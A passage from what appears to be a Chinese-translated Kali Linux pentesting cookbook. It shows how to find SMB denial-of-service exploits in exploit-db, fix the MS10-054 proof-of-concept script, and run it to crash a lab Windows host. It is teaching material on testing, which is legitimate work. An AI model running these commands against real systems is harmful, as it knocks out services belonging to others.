在執行 Metasploit DoS 輔助模塊之後,返回的一系列消息表明已經執行了一系列惡意 SMB 事務,並且返回表示模塊執行完成的最終消息。 該漏洞的成功可以通過查看 Windows XP 系統來驗證,它已經崩潰,現在顯示 BSOD:

工作原理
本練習中演示的 Metasploit DoS 輔助模塊是緩沖區溢出攻擊的示例。 一般來說,緩沖區溢出能夠導致拒絕服務,因為它們可能導致任意數據被加載到非預期的內存段。 這可能中斷執行流程,並導致服務或操作系統崩潰。
6.11 使用 exploit-db 執行DoS 攻擊
exploit-db 是針對所有類型的平台和服務的,公開發布的漏洞利用集合。 exploit-db 擁有許多可用於執行DoS攻擊的漏洞。 這個特定的秘籍演示了如何在 exploit-db 中找到DoS漏洞,確定漏洞的用法,進行必要的修改並執行它們。
准備
為了使用 exploit-db 執行 DoS 攻擊,你需要有一個運行漏洞服務的系統,它易受 Metasploit DoS 輔助模塊之一的攻擊。 所提供的示例使用 Windows XP 的實例。 有關設置 Windows 系統的更多信息,請參閱本書第一章中的“安裝 Windows Server”秘籍。
操作步驟
在使用 exploit-db 執行 DoS 測試之前,我們需要確定哪些 DoS 漏洞可用。 可以在http://www.exploit-db.com在線找到全部的漏洞利用數據庫。 或者,其副本也本地存儲在 Kali Linux 文件系統中。 在exploitdb目錄中有一個files.csv文件,其中包含所有內容的目錄。 此文件可用於對關鍵字進行grep,來幫助定位可用的漏洞利用:
root@KaliLinux:~# grep SMB /usr/share/exploitdb/files.csv
20,platforms/windows/remote/20.txt,"MS Windows SMB Authentication Remote Exploit",2003-04-25,"Haamed Gheibi",windows,remote,139
1065,platforms/windows/dos/1065.c,"MS Windows (SMB) Transaction Response Handling Exploit (MS05-011)",2005-06-23,cybertronic,windows,dos,0
4478,platforms/linux/remote/4478.c,"smbftpd 0.96 SMBDirListfunction Remote Format String Exploit",2007-10-01,"Jerry Illikainen",linux,remote,21
6463,platforms/windows/dos/6463.rb,"MS Windows WRITE_ANDX SMB command handling Kernel DoS (meta)",2008-09-15,"Javier Vicente Vallejo",windows,dos,0
9594,platforms/windows/dos/9594.txt,"Windows Vista/7 SMB2.0 Negotiate Protocol Request Remote BSOD Vuln",2009-09-09,"Laurent Gaffie",windows,dos,0

在所提供的示例中,我們使用grep函數在files.csv文件中搜索包含 SMB 的任何 exploit-db 內容。 還可以通過將輸出通過管道連接到另一個grep函數,並搜索附加項來進一步縮小搜索範圍:
root@KaliLinux:~# grep SMB /usr/share/exploitdb/files.csv | grep dos
1065,platforms/windows/dos/1065.c,"MS Windows (SMB) Transaction Response Handling Exploit (MS05-011)",2005-06-23,cybertronic,windows,dos,0
6463,platforms/windows/dos/6463.rb,"MS Windows WRITE_ANDX SMB command handling Kernel DoS (meta)",2008-09-15,"Javier Vicente Vallejo",windows,dos,0
9594,platforms/windows/dos/9594.txt,"Windows Vista/7 SMB2.0 Negotiate Protocol Request Remote BSOD Vuln",2009-09-09,"Laurent Gaffie",windows,dos,0
12258,platforms/windows/dos/12258.py,"Proof of Concept for MS10-006 SMB Client-Side Bug",2010-04-16,"Laurent Gaffie",windows,dos,0
12273,platforms/windows/dos/12273.py,"Windows 7/2008R2 SMB Client Trans2 Stack Overflow 10-020 PoC",2010-04-17,"Laurent Gaffie",windows,dos,0

在提供的示例中,我們依次使用兩個獨立的grep函數,來搜索與 SMB 服務相關的任何 DoS 漏洞:
root@KaliLinux:~# grep SMB /usr/share/exploitdb/files.csv | grep dos | grep py | grep -v "Windows 7"
12258,platforms/windows/dos/12258.py,"Proof of Concept for MS10-006 SMB Client-Side Bug",2010-04-16,"Laurent Gaffie",windows,dos,0
12524,platforms/windows/dos/12524.py,"Windows SMB2 Negotiate Protocol (0x72) Response DOS",2010-05-07,"Jelmer de Hen",windows,dos,0
14607,platforms/windows/dos/14607.py,"Microsoft SMB Server Trans2 Zero Size Pool Alloc (MS10-054)",2010-08-10,"Laurent Gaffie",windows,dos,0

我們可以繼續縮小搜索結果,使其盡可能具體。 在提供的示例中,我們查找了 SMB 服務的任何 Python DoS 腳本,但是我們尋找的不是 Windows 7 平台的。 grep中的-v選項可用於從結果中排除內容。 通常最好將所需的漏洞利用複制到另一個位置,以便不會修改 exploit 數據庫目錄的內容:
root@KaliLinux:~# mkdir smb_exploit
root@KaliLinux:~# cd smb_exploit/
root@KaliLinux:~/smb_exploit# cp /usr/share/exploitdb/platforms/windows/ dos/14607.py /root/smb_exploit/
root@KaliLinux:~/smb_exploit# ls 14607.py

在提供的示例中,我們為腳本創建一個新目錄。 然後從絕對路徑複制腳本,該路徑可以由 exploit-db 的目錄位置和files.csv文件中定義的相對路徑推斷。 一旦重新定位,就可以使用cat命令從上到下讀取腳本,然後將腳本的內容傳遞給more工具:
root@KaliLinux:~/smb_exploit# cat 14607.py | more ?
#!/usr/bin/env python
import sys,struct,socket
from socket import *
if len(sys.argv)<=2:
print '############################################################### ########'
print '# MS10-054 Proof Of Concept by Laurent Gaffie'
print '# Usage: python '+sys.argv[0]+' TARGET SHARE-NAME (No backslash)'
print '# Example: python '+sys.argv[0]+' 192.168.8.101 users'
print '# http://g-laurent.blogspot.com/'
print '# http://twitter.com/laurentgaffie'
print '# Email: laurent.gaffie{at}gmail{dot}com'
print '############################################################### ########
'
sys.exit()

與 NSE 腳本和 Metasploit 輔助模塊不同,漏洞數據庫中的腳本沒有標准化格式。 因此,使用漏洞有時會很棘手。 盡管如此,查看腳本內容中的為注釋或使用說明通常是有幫助的。 在提供的示例中,我們可以看到,使用情況列在腳本的內容中,如果未提供適當數量的參數,也會將其打印給用戶。 評估之後,可以執行腳本。
root@KaliLinux:~/smb_exploit# ./14607.py
./14607.py: line 1: ?#!/usr/bin/env: No such file or directory
import.im6: unable to open X server `' @ error/import.c/
ImportImageCommand/368.
from: can't read /var/mail/socket
./14607.py: line 4: $'
': command not found
./14607.py: line 5: syntax error near unexpected token `sys.argv'
'/14607.py: line 5: `if len(sys.argv)<=2:

但是,在嘗試執行腳本後,我們可以看到出現了問題。 由於缺乏標准化,並且由於一些腳本只是概念證明,通常需要對這些腳本進行調整:
?#!/usr/bin/env python
import sys,struct,socket
from socket import *

在腳本錯誤出現後,我們需要返回到文本編輯器,並嘗試確定錯誤的來源。 第一個錯誤表明,在腳本開頭列出的 Python 解釋器的位置存在問題。 這必須改變為指向 Kali Linux 文件系統中的解釋器:
#!/usr/bin/python
import sys,struct,socket
from socket import *

在每個問題解決後,嘗試再次運行腳本通常是個好主意,有時,修複單個問題會消除多個執行錯誤。 這裏,在更改 Python 解釋器的位置後,我們可以成功運行腳本:
root@KaliLinux:~/smb_exploit# ./14607.py 172.16.36.134 users
[+]Negotiate Protocol Request sent
[+]Malformed Trans2 packet sent
[+]The target should be down now

當腳本運行時,會返回幾個消息來標識腳本執行的進度。 最後一條消息表明惡意的載荷已傳送,服務器應該已經崩潰。 該腳本的成功執行可以通過返回 Windows 服務器來驗證,它現在已經崩潰,並顯示了 BSOD:

工作原理
本練習中演示的 exploit-db DoS 腳本是緩沖區溢出攻擊的示例。 一般來說,緩沖區溢出能夠導致拒絕服務,因為它們可能導致任意數據被加載到非預期的內存段。 這可能中斷執行流程,並導致服務或操作系統崩潰。

熱門文章